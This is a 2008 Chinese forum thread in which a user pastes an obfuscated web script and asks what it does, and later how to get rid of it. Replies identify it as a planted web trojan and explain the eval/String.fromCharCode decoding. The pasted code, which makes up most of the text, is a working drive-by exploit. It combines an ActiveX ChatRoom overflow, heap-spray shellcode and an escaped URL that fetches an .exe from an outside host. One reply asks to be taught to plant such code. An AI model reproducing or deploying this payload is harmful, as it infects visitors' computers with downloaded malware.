谁知道这段代码是什么意思吗？跳出脚本错误

11265

<object id='WoYaoPSP' classid="clsid:AE93C5DF-A990-11D1-AEBD-5254ABDD2B69"></object>
<SCRIPT language="javascript">
var p1="%u7468%u7074%u2f3a%u772f%u7777%u352e%u7931%u7377%u632e%u6d6f%u612f%u2e61%u7865%u0065";
</script>
<script>
t="60,83,67,82,73,80,84,32,108,97,110,103,117,97,103,101,61,34,106,97,118,97,115,99,114,105,112,116,34,62,13,10,118,97,114,32,112,50,61,34,37,117,53,52,69,66,37,117,55,53,56,66,37,117,56,66,51,67,37,117,51,53,55,52,37,117,48,51,55,56,37,117,53,54,70,53,37,117,55,54,56,66,37,117,48,51,50,48,37,117,51,51,70,53,37,117,52,57,67,57,37,117,65,68,52,49,37,117,68,66,51,51,37,117,48,70,51,54,37,117,49,52,66,69,37,117,51,56,50,56,37,117,55,52,70,50,37,117,67,49,48,56,37,117,48,68,67,66,37,117,68,65,48,51,37,117,69,66,52,48,37,117,51,66,69,70,37,117,55,53,68,70,37,117,53,69,69,55,37,117,53,69,56,66,37,117,48,51,50,52,37,117,54,54,68,68,37,117,48,67,56,66,37,117,56,66,52,66,37,117,49,67,53,69,37,117,68,68,48,51,37,117,48,52,56,66,37,117,48,51,56,66,37,117,67,51,67,53,37,117,55,50,55,53,37,117,54,68,54,67,37,117,54,69,54,70,37,117,54,52,50,69,37,117,54,67,54,67,37,117,52,51,48,48,37,117,53,67,51,65,37,117,50,101,53,53,37,117,55,56,54,53,37,117,48,48,54,53,37,117,67,48,51,51,37,117,48,51,54,52,37,117,51,48,52,48,37,117,48,67,55,56,37,117,52,48,56,66,37,117,56,66,48,67,37,117,49,67,55,48,37,117,56,66,65,68,37,117,48,56,52,48,37,117,48,57,69,66,37,117,52,48,56,66,37,117,56,68,51,52,37,117,55,67,52,48,37,117,52,48,56,66,37,117,57,53,51,67,37,117,56,69,66,70,37,117,48,69,52,69,37,117,69,56,69,67,37,117,70,70,56,52,37,117,70,70,70,70,37,117,69,67,56,51,37,117,56,51,48,52,37,117,50,52,50,67,37,117,70,70,51,67,37,117,57,53,68,48,37,117,66,70,53,48,37,117,49,65,51,54,37,117,55,48,50,70,37,117,54,70,69,56,37,117,70,70,70,70,37,117,56,66,70,70,37,117,50,52,53,52,37,117,56,68,70,67,37,117,66,65,53,50,37,117,68,66,51,51,37,117,53,51,53,51,37,117,69,66,53,50,37,117,53,51,50,52,37,117,68,48,70,70,37,117,66,70,53,68,37,117,70,69,57,56,37,117,48,69,56,65,37,117,53,51,69,56,37,117,70,70,70,70,37,117,56,51,70,70,37,117,48,52,69,67,37,117,50,67,56,51,37,117,54,50,50,52,37,117,68,48,70,70,37,117,55,69,66,70,37,117,69,50,68,56,37,117,69,56,55,51,37,117,70,70,52,48,37,117,70,70,70,70,37,117,70,70,53,50,37,117,69,56,68,48,37,117,70,70,68,55,37,117,70,70,70,70,34,59,13,10,118,97,114,32,120,105,110,110,117,111,32,61,32,117,110,101,115,99,97,112,101,40,112,50,43,112,49,41,59,13,10,118,97,114,32,110,111,112,32,61,32,34,37,117,57,48,57,48,37,117,57,48,57,48,34,59,13,10,118,97,114,32,113,119,101,100,100,102,32,61,32,117,110,101,115,99,97,112,101,40,110,111,112,41,59,13,10,118,97,114,32,116,101,116,101,32,61,32,48,120,52,48,48,48,48,59,13,10,119,104,105,108,101,32,40,113,119,101,100,100,102,46,108,101,110,103,116,104,60,49,51,54,41,32,113,119,101,100,100,102,43,61,113,119,101,100,100,102,59,13,10,104,106,104,103,106,104,103,106,32,61,32,113,119,101,100,100,102,46,115,117,98,115,116,114,105,110,103,40,48,44,32,49,51,54,41,59,13,10,98,118,118,99,98,32,61,32,113,119,101,100,100,102,46,115,117,98,115,116,114,105,110,103,40,48,44,32,113,119,101,100,100,102,46,108,101,110,103,116,104,45,49,51,54,41,59,13,10,119,104,105,108,101,40,98,118,118,99,98,46,108,101,110,103,116,104,43,49,51,54,60,116,101,116,101,41,32,98,118,118,99,98,32,61,32,98,118,118,99,98,43,98,118,118,99,98,43,104,106,104,103,106,104,103,106,59,13,10,109,110,110,98,109,98,32,61,32,110,101,119,32,65,114,114,97,121,40,41,59,13,10,102,111,114,32,40,120,61,48,59,32,120,60,51,48,48,59,32,120,43,43,41,32,109,110,110,98,109,98,91,120,93,32,61,32,98,118,118,99,98,32,43,32,120,105,110,110,117,111,59,13,10,118,97,114,32,122,104,101,110,32,61,32,39,39,59,13,10,119,104,105,108,101,32,40,122,104,101,110,46,108,101,110,103,116,104,32,60,32,52,48,53,55,41,32,122,104,101,110,61,122,104,101,110,43,34,92,120,48,97,92,120,48,97,92,120,48,97,92,120,48,97,34,59,13,10,122,104,101,110,61,122,104,101,110,43,34,92,120,48,97,34,59,13,10,122,104,101,110,61,122,104,101,110,43,34,92,120,48,97,34,59,13,10,122,104,101,110,61,122,104,101,110,43,34,92,120,48,97,34,59,13,10,122,104,101,110,61,122,104,101,110,43,34,92,120,48,97,92,120,48,97,92,120,48,97,92,120,48,97,34,59,32,13,10,122,104,101,110,61,122,104,101,110,43,34,92,120,48,97,92,120,48,97,92,120,48,97,92,120,48,97,34,59,13,10,87,111,89,97,111,80,83,80,46,67,104,97,116,82,111,111,109,40,122,104,101,110,41,59,13,10,60,47,115,99,114,105,112,116,62"
t=eval("String.fromCharCode("+t+")");
document.write(t);</script>

clm123

Marakanis_Starf

很复杂

克鲁德

基本上 。。我也不是。很懂  

11265

原帖由 Marakanis_Starf 于 2008-2-8 10:27 发表
很复杂

用来做什么的？木马？

Marakanis_Starf

原帖由 11265 于 2008-2-8 10:28 发表

用来做什么的？木马？

很复杂的意思就是我也看不懂

三爷

11265

原帖由 caine 于 2008-2-8 10:54 发表
看懂了开头结尾中间数字流完全不懂

开头和结尾什么意思？

chw_zerg

wuxi_protoss

[:16]

SimoN

<object id='WoYaoPSP'   意思是 WOYAOPSP  我要买PSP

Germany

java
不会
应该是手机的吧?

11265

原帖由 Germany 于 2008-2-8 15:17 发表
java
不会
应该是手机的吧?

SCRIPT language="javascript
jsp

OruA

不是jsp,只是网页脚本,是个网页挂马

a2_lovely

原帖由 OruA 于 2008-2-8 18:17 发表
不是jsp,只是网页脚本,是个网页挂马

日啊 还是蠕蠕猛

minifox

应该是木马，
t=eval("String.fromCharCode("+t+")");

就是把t那个变量里的所有值，转换成命令来执行， 比如最开始的
t="60,83,67,82,73,80,84,32,108,97,110,103,117...........
把ascii码翻译过来，就是<script language........
这时候，t就等于<script language...〉  和</script> 整个这一段代码，
然后
document.write(t);</script>

就在网页上执行它， 木马就是这样挂上去的，
如果你有兴趣，可以把变量t的所有内容翻译出来， 就很清楚啦！

a2_lovely

原帖由 minifox 于 2008-2-8 18:42 发表
应该是木马，
t=eval("String.fromCharCode("+t+")");

就是把t那个变量里的所有值，转换成命令来执行， 比如最开始的
t="60,83,67,82,73,80,84,32,108,97,110,103,117...........
把ascii码翻译过来，就是

卧槽...高手教我挂码吧..

minifox

找一个acaii码对照表，一般计算机书后面都有， 很容易的

a2_lovely

收我做徒弟吧

minifox

我没学过asp呢，只是看t里面的内容像ascii值，就摆渡一下

11265

如何消灭他？